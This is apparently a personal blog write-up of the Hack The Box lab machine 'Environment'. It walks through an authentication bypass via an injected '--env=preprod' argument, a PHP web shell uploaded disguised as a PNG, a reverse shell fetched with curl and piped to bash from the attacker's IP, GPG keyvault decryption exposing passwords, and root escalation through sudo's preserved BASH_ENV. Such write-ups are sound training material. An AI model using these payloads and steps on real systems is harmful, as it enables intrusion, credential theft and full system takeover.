Environment Writeup - Diego Roldan

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.

Feel free to reach out if you have any questions or want to discuss anything related to cybersecurity or web development.

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.67 -o allPorts

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
80/tcp   open  http     syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

We will add environment.htb to our /etc/hosts file for easier access:

echo "10.10.11.67 environment.htb" | sudo tee -a /etc/hosts

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -p 22,80,8000 -sCV environment.htb -o targeted

PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp   open  http      nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
8000/tcp open  http-alt?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We do a directory scan with gobuster to find hidden directories and files on the web server:

gobuster dir -u http://environment.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t200

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/upload               (Status: 405) [Size: 244852]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]

We can force an error on /login page and see backend source code. We send a POST /login request with an invalid rememberfield:

POST /login HTTP/1.1
Host: environment.htb
...
email=test%40test.com&password=test&remember=nonboolean

This will return a 500 Internal Server Error, which reveals the backend source code:

if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}

User Exploitation

We can see that environment called preprod allows logging in as user with ID 1 without needing a password.

POST /login?--env=preprod HTTP/1.1
Host: environment.htb
...
email=test%40test.com&password=test&remember=nonboolean

Now we are logged in as user hish. We get redirected to /management/dashboard.

We can change our profile picture, maybe we can upload php code and execute it later.

POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------26383360799661928062804695699
Origin: http://environment.htb
Content-Length: 224966
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6Ik5xU2NlYUxmQjBDSlA4WDBjOXpqTkE9PSIsInZhbHVlIjoiLy9lREh5RmdYTDVHaUE2QSt2S2tqdGxucW1MbFJod0thMWloakkzWHlOM0p0UG9ZdUJ4WUNLN1NaVDRHZTNuUlRWRzdMZGFlTkRCLzMzSWd3azhCNElQQ0tTNGN6eitBckpYK20yNFBrbWxoMExhYVplaFZiSUFVem9iY2s5VWgiLCJtYWMiOiI4MjAxYzQ3ZDAxNmEzYjIwNjc1MTkxNjA0MzVmOTY2ZmUwNGU4YjdhZDYzOGNkOGMyOGFkNGVjZjI0ZWVkNTQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImMycUZEUFA1NGJNSnJuSkJBUnJlZlE9PSIsInZhbHVlIjoiRkVKQ0J2YTI1bVRRdHo2Zlp2aW9iS2xIUHkyZ2dBN0taMkkwRjZxalRTd0VNQXdVeXZTWDA4dGNtanZpV1RhM3RLWnQwS09wTVB1N3QraE93cW1TRVkzcFZ6NFladEw2MTM4L3dpTk03WVhQZmRBdDJVbGZMSzVraVRESjcrQWQiLCJtYWMiOiIwZmFmMzgxYWE1ZDFiMjJmMjBjZWZiNzAxMzBiMzM0ZDg2MTUzYmIzMWFhMGFmYzQ0ZWViMjNmNTFlNTAxYTc0IiwidGFnIjoiIn0%3D

-----------------------------26383360799661928062804695699
Content-Disposition: form-data; name="_token"

H47WDGCWzq0vOaVzUbuB04tNqNDfl4TF2ZGhXgA5
-----------------------------26383360799661928062804695699
Content-Disposition: form-data; name="upload"; filename="png3.php."
Content-Type: image/png

PNG
...image data...

<?php system($_GET['cmd']);?>

...image data...
-----------------------------26383360799661928062804695699--

Now we can access the uploaded file at http://environment.htb/storage/png3.php and execute commands using the cmd parameter:

curl "http://environment.htb/storage/files/png3.php?cmd=whoami"


...image data...
www-data
...image data...

We can get a reverse shell using the following commands:

echo "bash -i >& /dev/tcp/10.10.14.216/443 0>&1" > reverse
python3 -m http.server 80
nc -lvnp 443

We can make a GET request to the png3.php file to execute the reverse shell command:

GET /storage/files/png3.php?cmd=curl+10.10.14.216/reverse|bash HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6IlRmdHIrait2ZGlucXNvNENjejBzbnc9PSIsInZhbHVlIjoicTIyY2VqQ1V0aVFzbHM0aU5mWEdGZFNiV0lxNXgwMS9zT1Bab3BuSElJY204Mlp1OWhHTkhpRHFPb0pxYnNMR2pOQXVaQzRrOEFYS24zMmZ6dDgrY3E3eXNoQVYrdWJ5MHBtdmk5Wk1saDF6d3IxNXd5QTVSQW5GemhDZDBUWXgiLCJtYWMiOiJkNTY0NzY2ZDJhZTRhM2YxNmJkZTZlYzEwMTQ4ZDU2ZTczZmQxM2FhYmJhNjYxMmU1MjM1MjE4MzZkYzMwZjI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5wNE91YkNPS1VDOFRPMGtsOWpvYmc9PSIsInZhbHVlIjoiclFvVkw3YjQxMStmd1RiV3k0cnFzaDZLakdTRGNNTHVDMUU4MXUzbUhmMUZFREtjNWVWUGRFQVkraHJSMUdyWlA4bmJsTkg1V003cmg1ZmF3Qk5SdFpkcnZ2eDRWSlc1cVIyVm9mRk1LWWZMZDdibmh3cXRLenBBZEUvaEhvSk0iLCJtYWMiOiI3ZWRjYzc5MDBkMThiOTdjM2YyZjA1MDliN2IwYzJmNTU4ZjU5NDM1MmU3MWYxMzE2MmY0YmJjNWEzYzhkZTRjIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

This will give us a reverse shell as www-data. We can get a persistent shell by using the following commands on the reverse shell:

script /dev/null -c /bin/bash
CONTROL-Z
stty raw -echo; fg
reset xterm
export TERM=xterm

Even we are www-data, we can see the user flag in the home directory of the user hish:

cat /home/hish/user.txt

user flag value

Root Exploitation

We find there is a GPG file in the home directory of the user hish. So, we try to decrypt it:

cp -r /home/hish/.gnupg /tmp/.gnupg
cp /home/hish/keyvault.gpg /tmp/keyvault.gpg

chmod 700 /tmp/.gnupg
chmod 600 /tmp/.gnupg/*

gpg --homedir /tmp/.gnupg --decrypt /tmp/keyvault.gpg > /tmp/decrypted.txt
cat /tmp/decrypted.txt

PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

We try to use marineSPm@ster!! as password to login via SSH:

ssh hish@environment.htb
whoami

hish

We check if we can use sudo to run commands as root:

sudo -l

[sudo] password for hish: 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

We see that there is a special option for the user hish while using sudo:

env_keep+="ENV BASH_ENV" means that the environment variables ENV and BASH_ENV are preserved when running commands with sudo.

These variables can hold scripts that are executed by the shell when it starts in interactive mode (for ENV) or when it starts in non-interactive mode (for BASH_ENV).

We can use this to our advantage:

echo "#!/bin/bash
chmod +s /bin/bash" > /tmp/pwn.sh
chmod +x /tmp/pwn.sh
export BASH_ENV=/tmp/pwn.sh
sudo /usr/bin/systeminfo

/bin/bash -p
whoami

root

We can see that we have a root shell now. We can find the root flag in the root directory:

cat /root/root.txt

root flag value

Conclusion

In this writeup, we successfully exploited the target machine by leveraging a misconfiguration in the login system to gain user access, then escalated our privileges to root by exploiting the environment variables preserved during sudo execution. We were able to retrieve both user and root flags, completing the challenge.

Write Ups

Environment

Enumeration

User Exploitation

Root Exploitation

Conclusion

Check out other write ups

Eureka

Strutted

Environment

Cypher

Validation

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